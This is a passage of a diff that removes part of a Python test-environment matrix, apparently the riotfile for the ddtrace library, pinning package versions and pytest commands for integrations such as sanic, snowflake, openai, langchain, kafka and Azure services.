0.21.x uses FixtureDef.unittest which was removed in pytest 8.0 - "pytest": "<8", - "pytest-randomly": latest, - # pkg_resources was removed in v82.0.0 - "setuptools": "<82", - }, - venvs=[ - Venv( - pys="3.9", - pkgs={"yaaredis": ["~=2.0.0", latest]}, - ), - Venv( - # yaaredis added support for Python 3.10 in 3.0 - pys="3.10", - pkgs={"yaaredis": latest}, - ), - ], - ), - Venv( - name="sanic", - command="pytest {cmdargs} tests/contrib/sanic", - pkgs={ - "pytest-asyncio": "==0.21.1", - # pytest-asyncio 0.21.x uses FixtureDef.unittest which was removed in pytest 8.0 - "pytest": "<8", - "pytest-randomly": latest, - "requests": latest, - "websockets": "<11.0", - # pkg_resources was removed in v82.0.0 - "setuptools": "<82", - }, - venvs=[ - Venv( - # sanic added support for Python 3.9 in 20.12 - pys="3.9", - pkgs={ - "sanic": "~=20.12", - "pytest-sanic": "~=1.6.2", - }, - ), - Venv( - pys="3.9", - pkgs={ - "sanic": [ - "~=21.3", - "~=21.12", - ], - "sanic-testing": "~=0.8.3", - }, - ), - Venv( - # sanic added support for Python 3.10 in 21.12.0 - pys="3.10", - pkgs={ - "sanic": "~=21.12.0", - "sanic-testing": "~=0.8.3", - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.10"), - pkgs={ - "sanic": ["~=22.3", "~=22.12"], - "sanic-testing": "~=22.3.0", - }, - ), - Venv( - # sanic added support for Python 3.11 in 22.12.0 - pys="3.11", - pkgs={ - "sanic": ["~=22.12.0", "~=23.12"], - "sanic-testing": "~=22.3.0", - }, - ), - Venv( - pys="3.12", - pkgs={ - "sanic": ["~=23.12"], - "sanic-testing": "~=23.12.0", - }, - ), - ], - ), - Venv( - name="snowflake", - command="pytest {cmdargs} tests/contrib/snowflake", - pkgs={ - "responses": "~=0.16.0", - "cryptography": "<39", - "pytest-randomly": latest, - }, - venvs=[ - Venv( - # snowflake-connector-python added support for Python 3.9 in 2.4.0 - pys="3.9", - pkgs={"snowflake-connector-python": ["~=2.4.0", "~=2.9.0", latest]}, - ), - Venv( - # snowflake-connector-python added support for Python 3.10 in 2.7.2 - pys="3.10", - pkgs={"snowflake-connector-python": ["~=2.7.2", "~=2.9.0", latest]}, - ), - Venv( - # snowflake-connector-python added support for Python 3.11 in 3.0 - pys=select_pys(min_version="3.11"), - pkgs={"snowflake-connector-python": [latest]}, - ), - ], - ), - Venv( - pys=["3"], - name="reno", - pkgs={ - "reno": latest, - # PyYAML>=6.0.1 has wheels / builds on Python 3.13; 6.0 fails with modern setuptools - "PyYAML": ">=6.0.1", - }, - command="reno {cmdargs}", - ), - Venv( - name="asyncpg", - command="pytest {cmdargs} tests/contrib/asyncpg", - pkgs={ - "pytest-asyncio": "~=0.21.1", - "pytest-randomly": latest, - }, - venvs=[ - Venv( - # asyncpg added support for Python 3.9 in 0.22 - pys="3.9", - pkgs={"asyncpg": ["~=0.23.0", latest]}, - ), - Venv( - # asyncpg added support for Python 3.10 in 0.24 - pys="3.10", - pkgs={"asyncpg": ["~=0.24.0", latest]}, - ), - Venv( - # asyncpg added support for Python 3.11 in 0.27 - pys="3.11", - pkgs={"asyncpg": ["~=0.27", latest]}, - ), - Venv( - pys=select_pys(min_version="3.12"), - pkgs={"asyncpg": [latest]}, - ), - ], - ), - Venv( - name="futures", - command="pytest {cmdargs} tests/contrib/futures", - pkgs={ - "gevent": latest, - "pytest-randomly": latest, - }, - pys=select_pys(), - ), - Venv( - name="sqlite3", - command="pytest {cmdargs} tests/contrib/sqlite3", - pkgs={ - "pytest-randomly": latest, - "pysqlite3-binary": [latest], - }, - # sqlite3 is tied to the Python version and is not installable via pip - # To test a range of versions without updating Python, we use Linux only pysqlite3-binary package - # Remove pysqlite3-binary on Python 3.9+ locally on non-linux machines - pys=select_pys(min_version="3.9", max_version="3.12"), - ), - Venv( - name="dbapi", - command="pytest {cmdargs} tests/contrib/dbapi", - pkgs={ - "pytest-randomly": latest, - }, - pys=select_pys(), - env={ - "DD_CIVISIBILITY_ITR_ENABLED": "0", - "DD_IAST_REQUEST_SAMPLING": "100", # Override default 30% to analyze all IAST requests - }, - ), - Venv( - name="dbapi_async", - command="pytest {cmdargs} tests/contrib/dbapi_async", - env={ - "DD_CIVISIBILITY_ITR_ENABLED": "0", - "DD_IAST_REQUEST_SAMPLING": "100", # Override default 30% to analyze all IAST requests - }, - pkgs={ - "pytest-asyncio": "==0.21.1", - "pytest-randomly": latest, - }, - venvs=[ - Venv(pys=select_pys(min_version="3.9", max_version="3.10")), - Venv(pys=select_pys(min_version="3.11"), pkgs={"attrs": latest}), - ], - ), - Venv( - name="dogpile_cache", - command="pytest {cmdargs} tests/contrib/dogpile_cache", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.10"), - pkgs={ - "dogpile.cache": [ - "~=0.6.0", - "~=0.9", - "~=1.0", - latest, - ], - }, - ), - Venv( - pys=select_pys(min_version="3.11"), - pkgs={ - "dogpile.cache": [ - "~=0.9", - "~=1.0", - "~=1.1", - latest, - ], - }, - ), - ], - ), - Venv( - name="consul", - pys=select_pys(), - command="pytest --no-cov {cmdargs} tests/contrib/consul", - pkgs={ - "python-consul": [ - ">=1.1,<1.2", - latest, - ], - "pytest-randomly": latest, - }, - ), - Venv( - name="opentelemetry", - command="pytest {cmdargs} tests/opentelemetry", - # DD_TRACE_OTEL_ENABLED must be set to true before ddtrace is imported - # and ddtrace (ddtrace.config specifically) must be imported before opentelemetry. - # If this order is violated otel and datadog spans will not be interoperable. - env={"DD_TRACE_OTEL_ENABLED": "true"}, - pkgs={ - "pytest-randomly": latest, - "pytest-asyncio": "==0.21.1", - "opentelemetry-instrumentation-flask": latest, - "markupsafe": "==2.0.1", - "mock": latest, - "flask": latest, - "gevent": latest, - "requests": "==2.28.1", # specific version expected by tests - }, - venvs=[ - # API-only environments verify behavior without the OpenTelemetry SDK and exporters. - Venv( - pys=select_pys(min_version="3.9", max_version="3.13"), - # Ensure we test against versions of opentelemetry-api that broke compatibility with ddtrace - pkgs={"opentelemetry-api": ["~=1.0.0", "~=1.15.0", "~=1.26.0", latest]}, - ), - Venv( - pys=select_pys(min_version="3.14", max_version="3.14"), - # The inherited MarkupSafe 2.0 pin constrains Flask and Werkzeug to versions incompatible with 3.14. - pkgs={"opentelemetry-api": latest, "markupsafe": latest}, - ), - # Exporter environments install the SDK and select the exporter-dependent tests. - Venv( - pys=select_pys(min_version="3.9", max_version="3.13"), - # v1.15.0 introduced support for logs - pkgs={"opentelemetry-exporter-otlp": ["~=1.15.0", "~=1.34.0", latest]}, - env={"SDK_EXPORTER_INSTALLED": "1"}, - ), - Venv( - pys=select_pys(min_version="3.14", max_version="3.14"), - # The inherited MarkupSafe 2.0 pin constrains Flask and Werkzeug to versions incompatible with 3.14. - pkgs={"opentelemetry-exporter-otlp": latest, "markupsafe": latest}, - env={"SDK_EXPORTER_INSTALLED": "1"}, - ), - ], - ), - Venv( - name="openfeature", - command="pytest {cmdargs} tests/openfeature", - pys=select_pys(), - pkgs={ - "pytest-randomly": latest, - "mock": latest, - # Test against openfeature-sdk 0.8.0+ (required for finally_after hook details parameter) - "openfeature-sdk": ["~=0.8.0", latest], - }, - ), - Venv( - name="asyncio", - command="pytest {cmdargs} tests/contrib/asyncio", - pkgs={ - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(max_version="3.12"), - pkgs={ - "pytest-asyncio": "==0.21.1", - }, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={ - "pytest-asyncio": ">=1.0.0", - }, - ), - ], - ), - Venv( - name="openai", - command="pytest {cmdargs} tests/contrib/openai", - pkgs={ - "vcrpy": latest, - "urllib3": "~=1.26", - "pytest-asyncio": "==0.21.1", - "pytest-randomly": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.11"), - pkgs={ - "openai[embeddings,datalib]": ["==1.0.0", "==1.30.1"], - "pillow": "==9.5.0", - "httpx": "==0.27.2", - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "openai": [latest, "<2.0.0", "~=1.76.2", "==1.66.0"], - "pillow": latest, - }, - ), - ], - ), - Venv( - name="opentracer", - pkgs={"opentracing": latest, "pytest-randomly": latest}, - venvs=[ - Venv( - pys=select_pys(), - command="pytest {cmdargs} tests/opentracer/core", - ), - Venv( - pys=select_pys(), - command="pytest {cmdargs} tests/opentracer/test_tracer_asyncio.py", - pkgs={"pytest-asyncio": "==0.21.1"}, - ), - Venv( - command="pytest {cmdargs} tests/opentracer/test_tracer_gevent.py", - venvs=[ - Venv( - pys="3.9", - pkgs={"gevent": latest, "greenlet": latest}, - ), - Venv( - pys="3.10", - pkgs={"gevent": latest}, - ), - Venv( - pys="3.11", - pkgs={"gevent": latest}, - ), - Venv( - pys="3.12", - pkgs={"gevent": "~=23.9.0"}, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={"gevent": latest}, - ), - ], - ), - ], - ), - Venv( - name="pyodbc", - command="pytest {cmdargs} tests/contrib/pyodbc", - pkgs={"pytest-randomly": latest}, - venvs=[ - Venv( - # pyodbc added support for Python 3.9/3.10 in 4.0.34 - pys=select_pys(min_version="3.9", max_version="3.10"), - pkgs={"pyodbc": ["~=4.0.34", latest]}, - ), - Venv( - # pyodbc added support for Python 3.11 in 4.0.35 - pys=select_pys(min_version="3.11"), - pkgs={"pyodbc": [latest]}, - ), - ], - ), - Venv( - name="pylibmc", - command="pytest {cmdargs} tests/contrib/pylibmc", - pkgs={"pytest-randomly": latest}, - venvs=[ - Venv( - # pylibmc added support for Python 3.9/3.10 in 1.6.2 - pys=select_pys(min_version="3.9", max_version="3.10"), - pkgs={ - "pylibmc": ["~=1.6.2", latest], - }, - ), - Venv( - pys=select_pys(min_version="3.11"), - pkgs={ - "pylibmc": latest, - }, - ), - ], - ), - Venv( - name="kombu", - command="pytest {cmdargs} tests/contrib/kombu", - pkgs={"pytest-randomly": latest}, - venvs=[ - Venv( - pys="3.9", - pkgs={ - "kombu": [">=4.6,<4.7", ">=5.0,<5.1", latest], - }, - ), - Venv( - # kombu added support for Python 3.10 in 5.2.1 - pys=select_pys(min_version="3.10", max_version="3.11"), - pkgs={ - "kombu": [">=5.2,<5.3", latest], - }, - ), - Venv(pys=select_pys(min_version="3.12"), pkgs={"kombu": latest}), - ], - ), - Venv( - name="tornado", - command="python -m pytest {cmdargs} tests/contrib/tornado", - pkgs={"pytest-randomly": latest}, - venvs=[ - Venv( - # tornado added support for Python 3.9 in 6.1 - pys="3.9", - # tornado 6.0.x and pytest 8.x have a compatibility bug - pkgs={"tornado": ["==6.1", "~=6.2"], "pytest": "<=8"}, - ), - Venv( - # tornado added support for Python 3.10 in 6.2 - pys=select_pys(min_version="3.10", max_version="3.12"), - pkgs={"tornado": ["==6.2", "==6.3.1"]}, - ), - Venv( - # tornado fixed a bug affecting 3.13 in 6.4.1 - pys=select_pys(min_version="3.13"), - pkgs={"tornado": "==6.4.1"}, - ), - ], - ), - Venv( - name="mysqldb", - command="pytest {cmdargs} tests/contrib/mysqldb", - pkgs={"pytest-randomly": latest}, - venvs=[ - Venv( - # mysqlclient ~=2.0 only tested on 3.9 - pys="3.9", - pkgs={"mysqlclient": ["~=2.0"]}, - ), - Venv( - # mysqlclient added support for Python 3.9/3.10 in 2.1 - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={"mysqlclient": ["~=2.1", latest]}, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={"mysqlclient": "==2.2.6"}, - ), - ], - ), - Venv( - name="openai_agents", - command="pytest {cmdargs} tests/contrib/openai_agents", - pkgs={ - "vcrpy": latest, - "pytest-asyncio": latest, - "openai": latest, - }, - venvs=[ - # openai-agents >= 0.9.0 requires Python >= 3.10, so the 0.14+ pins run on 3.10+ only. - # Python 3.9 needs two shims for the agents 0.8.x row that 3.10+ does not: - # - urllib3 < 2: agents 0.8.x pulls types-requests >= 2.32 (needs urllib3 >= 2), which - # collides with vcrpy's "urllib3 < 2; python_version < '3.10'" marker and backtracks - # vcrpy to a urllib3-2-incompatible 4.3.0, breaking `import vcr`. - # - eval-type-backport: agents 0.8.x pydantic models use PEP-604 "X | None" unions, - # which Python 3.9 cannot runtime-evaluate without the backport. - Venv( - pys="3.9", - pkgs={ - "openai-agents": ["~=0.0.0", "~=0.8.0"], - "urllib3": "<2", - "eval-type-backport": latest, - }, - ), - Venv( - pys=select_pys(min_version="3.10", max_version="3.13"), - pkgs={"openai-agents": ["~=0.0.0", "~=0.8.0"]}, - ), - Venv( - pys=select_pys(min_version="3.10", max_version="3.13"), - pkgs={"openai-agents": ["~=0.14.0", latest]}, - ), - ], - ), - Venv( - name="langchain", - command="pytest -v {cmdargs} tests/contrib/langchain", - pkgs={ - "pytest-asyncio": "==0.23.7", - "tiktoken": latest, - "huggingface-hub": latest, - "ai21": latest, - "exceptiongroup": latest, - "psutil": latest, - "pytest-randomly": "==3.10.1", - "numexpr": "==2.8.5", - "greenlet": "==3.0.3", - "respx": latest, - "numpy": latest, - }, - venvs=[ - Venv( - pkgs={ - "langchain-core": "~=0.1.0", - "langchain-openai": "~=0.1.0", - "langchain-anthropic": "~=0.1.0", - "langchain-aws": "~=0.1.0", - "langchain-cohere": "~=0.1.0", - }, - pys=select_pys(min_version="3.9", max_version="3.12"), - ), - Venv( - pkgs={ - "langchain-core": "~=0.3.0", - "langchain-openai": "~=0.3.0", - "langchain-anthropic": "~=0.3.0", - "langchain-aws": "~=0.2.0", - "langchain-cohere": "~=0.3.0", - "langchain-google-genai": "~=2.0.0", - }, - pys=select_pys(min_version="3.9", max_version="3.12"), - ), - Venv( - pkgs={ - "langchain-core": latest, - "langchain-openai": latest, - "langchain-anthropic": latest, - "langchain-aws": latest, - "langchain-cohere": latest, - "langchain-google-genai": latest, - }, - pys=select_pys(min_version="3.10", max_version="3.12"), - ), - ], - ), - Venv( - name="langgraph", - command="pytest {cmdargs} tests/contrib/langgraph", - pkgs={ - "pytest-asyncio": latest, - "langgraph": ["==0.2.23", "==0.3.21", "==0.3.22", latest], - "langchain_openai": latest, - "langchain_core": latest, - "langchain": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.13"), - ), - Venv(pys=select_pys(min_version="3.14"), pkgs={"ormsgpack": ">=1.11.0"}), - ], - ), - Venv( - name="mcp", - command="pytest {cmdargs} tests/contrib/mcp", - pys=select_pys(min_version="3.10"), - pkgs={ - "pytest-asyncio": latest, - "mcp": ["~=1.10.0", latest], - }, - ), - Venv( - name="litellm", - command="pytest {cmdargs} tests/contrib/litellm", - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "vcrpy": latest, - "pytest-asyncio": latest, - "botocore": latest, - "boto3": latest, - }, - venvs=[ - Venv( - pkgs={ - "litellm": "==1.65.4", - "openai": "==1.68.2", - }, - ), - Venv( - pkgs={ - "litellm": "==1.80.16", - "openai": ">=2.8.0", - }, - ), - ], - ), - Venv( - name="llama_index", - command="pytest {cmdargs} tests/contrib/llama_index", - pys=select_pys(min_version="3.10", max_version="3.13"), - pkgs={ - "pytest-asyncio": latest, - "vcrpy": latest, - "llama-index-core": ["~=0.11.0", latest], - "llama-index-llms-openai": latest, - "llama-index-embeddings-openai": latest, - }, - ), - Venv( - name="anthropic", - command="pytest {cmdargs} tests/contrib/anthropic", - pkgs={ - "pytest-asyncio": latest, - "vcrpy": latest, - }, - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={"anthropic": "~=0.28.0", "httpx": "~=0.27.0"}, - ), - Venv( - pys=select_pys(), - pkgs={"anthropic": latest, "httpx": "<0.28.0"}, - ), - ], - ), - Venv( - name="pytorch", - command="pytest {cmdargs} tests/contrib/pytorch", - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.11"), - pkgs={ - "torch": ["~=2.0.0", "~=2.1.0"], - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={ - "torch": ["~=2.2.0", "~=2.3.0"], - }, - ), - Venv( - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={ - "torch": ["~=2.4.0", "~=2.5.0", "~=2.6.0", "~=2.7.0"], - }, - ), - Venv( - pys=select_pys(min_version="3.12", max_version="3.12"), - pkgs={ - "torch": ["~=2.8.0", "~=2.9.0", "~=2.10.0", "~=2.11.0", "~=2.12.0", latest], - }, - ), - ], - ), - Venv( - name="vertexai", - command="pytest {cmdargs} tests/contrib/vertexai", - pys=select_pys(min_version="3.9", max_version="3.12"), - pkgs={ - "pytest-asyncio": latest, - "vertexai": [latest], - "google-ai-generativelanguage": [latest], - "google-cloud-aiplatform": [latest], - }, - ), - Venv( - name="google_adk", - command="pytest -n auto --dist=worksteal {cmdargs} tests/contrib/google_adk", - pys=select_pys(), - pkgs={ - "pytest-asyncio": latest, - "pytest-xdist": latest, - "google-adk": ["~=1.0.0", latest], - "vcrpy": latest, - "deprecated": latest, - }, - ), - Venv( - name="mistralai", - command="pytest {cmdargs} tests/contrib/mistralai", - pys=select_pys(min_version="3.10"), - pkgs={ - "pytest-asyncio": latest, - "mistralai": ["~=2.0.0", latest], - }, - ), - Venv( - name="google_genai", - command="pytest {cmdargs} tests/contrib/google_genai", - pys=select_pys(), - pkgs={ - "pytest-asyncio": latest, - "google-genai": latest, - }, - ), - Venv( - name="crewai", - command="pytest {cmdargs} tests/contrib/crewai", - pys=select_pys(min_version="3.10", max_version="3.12"), - pkgs={ - "pytest-asyncio": latest, - "openai": latest, - "crewai": ["~=0.102.0", latest], - "vcrpy": "==7.0.0", - }, - ), - Venv( - name="pydantic_ai", - command="pytest {cmdargs} tests/contrib/pydantic_ai", - pkgs={ - "pytest-asyncio": latest, - "vcrpy": "==7.0.0", - "typing_extensions": latest, - }, - venvs=[ - Venv( - pys=select_pys(max_version="3.9"), - pkgs={ - "pydantic-ai-slim[openai]": ["==0.8.1"], - "pydantic": "==2.12.0a1", - }, - ), - Venv( - pys=select_pys(min_version="3.10"), - pkgs={ - "pydantic-ai-slim[openai]": ["==0.8.1", "==1.0.0"], - "pydantic": "==2.12.0a1", - }, - ), - Venv( - pys=select_pys(min_version="3.10"), - pkgs={ - "pydantic-ai-slim[openai]": ["==1.63.0"], - }, - ), - ], - ), - Venv( - name="ray", - command="pytest {cmdargs} tests/contrib/ray", - pys=select_pys(min_version="3.11", max_version="3.13"), - pkgs={ - "ray[default]": ["~=2.46.0", "~=2.54.1"], - }, - ), - Venv( - name="ray_serve", - command="pytest {cmdargs} tests/contrib/ray_serve", - pys=select_pys(min_version="3.11", max_version="3.13"), - pkgs={ - "fastapi": latest, - "protobuf": "==4.25.8", - "ray[serve]": ["~=2.47.1", "~=2.54.1"], - }, - ), - Venv( - name="logbook", - pys=select_pys(), - command="pytest {cmdargs} tests/contrib/logbook", - pkgs={ - "logbook": ["~=1.0.0", latest], - "pytest-randomly": latest, - }, - ), - Venv( - name="loguru", - pys=select_pys(), - command="pytest {cmdargs} tests/contrib/loguru", - pkgs={ - "loguru": ["~=0.4.0", latest], - "pytest-randomly": latest, - }, - ), - Venv( - name="molten", - command="pytest -n 8 --dist=worksteal {cmdargs} tests/contrib/molten", - pys=select_pys(), - pkgs={ - "cattrs": ["<23.1.1"], - "molten": [">=1.0,<1.1", latest], - "pytest-randomly": latest, - "pytest-xdist": latest, - }, - ), - Venv( - name="gunicorn", - command="pytest {cmdargs} tests/contrib/gunicorn", - pkgs={ - "requests": latest, - "gevent": latest, - "gunicorn": ["==20.0.4", latest], - "pytest-randomly": latest, - }, - pys=select_pys(), - ), - Venv( - name="kafka", - env={ - "_DD_TRACE_STATS_WRITER_INTERVAL": "1000000000", - "DD_DATA_STREAMS_ENABLED": "true", - }, - pkgs={ - "pytest-randomly": latest, - "pytest-xdist": latest, - }, - venvs=[ - Venv( - command="pytest -n auto --dist=worksteal {cmdargs} -vv tests/contrib/kafka", - venvs=[ - Venv( - pys=select_pys(min_version="3.9", max_version="3.10"), - pkgs={"confluent-kafka": ["~=1.9.2", latest]}, - ), - # confluent-kafka added support for Python 3.11 in 2.0.2 - Venv( - pys=select_pys(min_version="3.11", max_version="3.13"), - pkgs={"confluent-kafka": latest}, - ), - ], - ), - ], - ), - Venv( - name="aws_lambda", - command="pytest {cmdargs} tests/contrib/aws_lambda", - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "boto3": latest, - "datadog-lambda": [">=6.105.0", latest], - "pytest-asyncio": "==0.21.1", - "pytest-randomly": latest, - }, - ), - Venv( - name="aws_durable_execution_sdk_python", - command="pytest {cmdargs} tests/contrib/aws_durable_execution_sdk_python", - pys=select_pys(min_version="3.11"), - pkgs={ - "aws-durable-execution-sdk-python": ["~=1.4.0", latest], - "aws-durable-execution-sdk-python-testing": [latest], - }, - ), - Venv( - name="aiokafka", - env={ - "_DD_TRACE_STATS_WRITER_INTERVAL": "1000000000", - "DD_DATA_STREAMS_ENABLED": "true", - }, - command="pytest {cmdargs} tests/contrib/aiokafka/", - pys=select_pys(), - pkgs={ - "pytest-asyncio": [latest], - "pytest-randomly": latest, - "aiokafka": ["~=0.9.0", latest], - }, - ), - Venv( - name="google_cloud_pubsub", - command="pytest {cmdargs} tests/contrib/google_cloud_pubsub", - pkgs={ - "falcon": latest, - # pkg_resources was removed in v82.0.0 - "setuptools": "<82", - }, - venvs=[ - Venv( - pys=select_pys(max_version="3.11"), - pkgs={ - "google-cloud-pubsub": ["==2.10.0", latest], - }, - ), - Venv( - pys=select_pys(min_version="3.12", max_version="3.12"), - pkgs={ - "google-cloud-pubsub": ["==2.14.0", latest], - }, - ), - Venv( - pys=select_pys(min_version="3.13"), - pkgs={ - "google-cloud-pubsub": [latest], - }, - ), - ], - ), - Venv( - name="azure_cosmos", - command="pytest {cmdargs} tests/contrib/azure_cosmos", - pys=select_pys(), - pkgs={ - "azure.cosmos": ["~=4.9.0", latest], - "pytest-asyncio": "==0.23.7", - "aiohttp": latest, - "six": latest, - }, - ), - Venv( - name="azure_eventhubs", - command="pytest {cmdargs} tests/contrib/azure_eventhubs", - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "azure.eventhub": ["~=5.12.0", latest], - "pytest-asyncio": "==0.23.7", - }, - ), - Venv( - name="azure_functions", - command="pytest {cmdargs} tests/contrib/azure_functions", - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "azure.functions": ["~=1.10.1", latest], - "requests": latest, - }, - ), - Venv( - name="azure_durable_functions", - command="pytest {cmdargs} tests/contrib/azure_durable_functions", - pys=select_pys(min_version="3.9", max_version="3.13"), - pkgs={ - "azure-functions-durable": ["==1.2.1", latest], - }, - ), - Venv( - name="azure_functions:cosmos", - command="pytest {cmdargs} tests/contrib/azure_functions_cosmos", - pys=select_pys(min_version="3.11", max_version="3.13"), - pkgs={ - "azure.functions": ["~=1.10.1", latest], - "azure.cosmos": ["~=4.9.0", latest], - "azure.storage.blob": latest, - "aiohttp": latest, - }, - ), - Venv( - name="azure_functions:eventhubs", - command="pytest {cmdargs} tests/contrib/azure_functions_eventhubs", - pys=select_pys(min_version="3.9", max_version="3.11"), - pkgs={ - "azure.functions": ["~=1.10.1", latest], - "azure.eventhub": latest, - "azure.storage.blob": latest, - }, - ), - Venv( - name="azure_functions:servicebus", - command="pytest {cmdargs} tests/contrib/azure_functions_servicebus", - pys=select_pys(min_version="3.9", max_version="3.11"), - pkgs={ - "azure.functions": ["~=1.10.1", latest], - "azure.servicebus": latest, - }, - ), - Venv( - name="azure_servicebus", - command="pytest {cmdargs} tests/contrib/azure_servicebus", - venvs=[ - Venv( - pys=select_pys(max_version="3.13"), - pkgs={ - "azure.servicebus": ["~=7.14.0", latest], - "pytest-asyncio": "==0.23.7", - }, - ), - Venv( - pys=select_pys(min_version="3.14"), - pkgs={ - "azure.servicebus": latest, - "pytest-asyncio": latest, - }, - ), - ], - ), - Venv( - name="sourcecode", - command="pytest {cmdargs} tests/sourcecode", - pys=select_pys(), - pkgs={ - "setuptools": latest, - "pytest-randomly": latest, - }, - ), - Venv( - name="ci_visibility", - command=( - "pytest --ddtrace -n auto --dist=worksteal {cmdargs} tests/ci_visibility" - " --ignore=tests/ci_visibility/api/test_api_fake_runners.py" - ), - pkgs={ - "msgpack": latest, - "coverage": latest, - "pytest-randomly": latest, - "pytest-xdist": latest, - "gevent": latest, - }, - env={ - "DD_AGENT_PORT": "9126", - }, - pys=select_pys(min_version="3.9", max_version="3.13"), - ), - Venv( - name="ci_visibility:snapshot", - command="pytest --ddtrace {cmdargs} tests/ci_visibility/api/test_api_fake_runners.py", - pkgs={ - "msgpack": latest, - "coverage": latest, - "pytest-randomly": latest, - "gevent": latest, - }, - env={ - "DD_AGENT_PORT": "9126", - }, - pys=select_pys(min_version="3.9", max_version="3.13"), - ), - Venv( - name="subprocess", - command="pytest -vvvv {cmdargs} --no-cov tests/contrib/subprocess", - pkgs={ - "pytest-randomly": latest, - }, - pys=select_pys(), - ), - Venv( - name="integration_registry", - command="pytest {cmdargs} tests/contrib/integration_registry", - pkgs={ - "riot": "==0.22.0", - "pytest-randomly": latest, - "pytest-asyncio": "==0.23.7", - "PyYAML": latest, - "jsonschema": latest, - }, - # we only need to run this on one version of Python - pys=["3.13"], - ), - Venv( - name="llmobs", - venvs=[ - Venv( - command="pytest -n auto --dist=worksteal {cmdargs} tests/llmobs", - pkgs={ - "vcrpy": latest, - "openai": latest, - "google-cloud-aiplatform": latest, - "boto3": latest, - "pytest-asyncio": "==0.21.1", - "pytest-xdist": latest, - "langchain": latest, - "pandas": latest, - # openfeature-sdk is an optional dependency (ddtrace[openfeature]) gating the - # FFE prompt path; the FFE tests in test_prompts.py need it installed. - "openfeature-sdk": ">=0.8,<1", - }, - venvs=[ - Venv( - pys=["3.9"], - ), - Venv( - pys=select_pys(min_version="3.10", max_version="3.13"), - pkgs={ - "deepeval": latest, # deepeval and pydantic-evals only supported on Python 3.10+ - "pydantic-evals": ">=1.31", - }, - ), - ], - ), - # Pydantic v1 compatibility — only needs pydantic, not the heavy deps above - Venv( - pys=select_pys(min_version="3.9", max_version="3.13"), - command="pytest -n auto --dist=worksteal {cmdargs} tests/llmobs/test_utils.py", - pkgs={ - "pydantic": "~=1.10", - "pytest-xdist": latest, - }, - ), - ], - ), - Venv( - name="vllm", - command="pytest {cmdargs} tests/contrib/vllm", - pkgs={ - "pytest-asyncio": "==0.21.1", - "pytest-randomly": latest, - "torch": latest, - "vllm": ">=0.10.2", - }, - pys=select_pys(min_version="3.10", max_version="3.13"), - ), - Venv( - name="valkey", - command="pytest {cmdargs} tests/contrib/valkey", - pkgs={ - "valkey": latest, - "pytest-randomly": latest, - "pytest-asyncio": "==0.23.7", - }, - pys=select_pys(), - ), - Venv( - name="profile", - # NB riot commands that use this Venv must include --pass-env to work properly - command="python -m tests.profiling.run pytest -v --no-cov --capture=no --benchmark-disable --ignore='tests/profiling/collector/test_memalloc.py' --ignore='tests/profiling/test_memalloc_fork.py' {cmdargs} tests/profiling", # noqa: E501 - env={ - "DD_PROFILING_ENABLE_ASSERTS": "1", - "DD_PROFILING_MEMALLOC_ASSERT_ON_REENTRY": "1", - "CPUCOUNT": "12", - "PYTHONWARNINGS": "ignore::UserWarning:gevent.events", - }, - pkgs={ - "gunicorn": latest, - "jsonschema": latest, - "zstandard": latest, - "pytest-cpp": latest, - # - # pytest-benchmark depends on cpuinfo which dropped support for Python<=3.6 in 9.0 - # See https://github.com/workhorsy/py-cpuinfo/issues/177 - "pytest-benchmark": latest, - "py-cpuinfo": "~=8.0.0", - "pytest-asyncio": "==0.21.1", - "pytest-randomly": latest, - "numpy": latest, - }, - venvs=[ - Venv( - name="profile-uwsgi", - command="python -m tests.profiling.run pytest -v --no-cov --capture=no --benchmark-disable {cmdargs} tests/profiling/test_uwsgi.py", # noqa: E501 - pys=select_pys(max_version="3.13"), # uwsgi<2.0.30 is not compatible with Python 3.14 - pkgs={ - "uwsgi": "<2.0.30", - "protobuf": latest, - }, - ), - Venv( - pys="3.9", - pkgs={"uwsgi": latest}, - venvs=[ - Venv( - pkgs={ - "protobuf": ["==3.19.0", latest], - }, - ), - # Gevent - Venv( - env={ - "DD_PROFILE_TEST_GEVENT": "1", - }, - pkgs={ - "gunicorn[gevent]": latest, - "gevent": latest, - "protobuf": latest, - }, - ), - # uvloop - Venv( - env={ - "USE_UVLOOP": "1", - }, - pkgs={ - "uvloop": latest, - "protobuf": latest, - }, - ), - ], - ), - # Python 3.10 - Venv( - pys="3.10", - pkgs={"uwsgi": latest}, - venvs=[ - Venv( - pkgs={ - "protobuf": ["==3.19.0", latest], - }, - ), - # Gevent - Venv( - env={ - "DD_PROFILE_TEST_GEVENT": "1", - }, - pkgs={ - "gunicorn[gevent]": latest, - "gevent": latest, - "protobuf": latest, - }, - ), - # uvloop - Venv( - env={ - "USE_UVLOOP": "1", - }, - pkgs={ - "uvloop": latest, - "protobuf": latest, - }, - ), - ], - ), - # Python >= 3.11 (excluding 3.14) - Venv( - pys=select_pys("3.11", "3.13"), - pkgs={"uwsgi": latest}, - venvs=[ - Venv( - pkgs={ - "protobuf": ["==4.22.0", latest], - }, - ), - # Gevent - Venv( - env={ - "DD_PROFILE_TEST_GEVENT": "1", - }, - pkgs={ - "gunicorn[gevent]": latest, - "gevent": latest, - "protobuf": latest, - }, - ), - # uvloop - Venv( - env={ - "USE_UVLOOP": "1", - }, - pkgs={ - "uvloop": latest, - "protobuf": latest, - }, - ), - ], - ), - # Python 3.14 - protobuf 4.22.0 is not compatible (TypeError: Metaclasses with custom tp_new) - Venv( - pys="3.14", - pkgs={"uwsgi": latest}, - 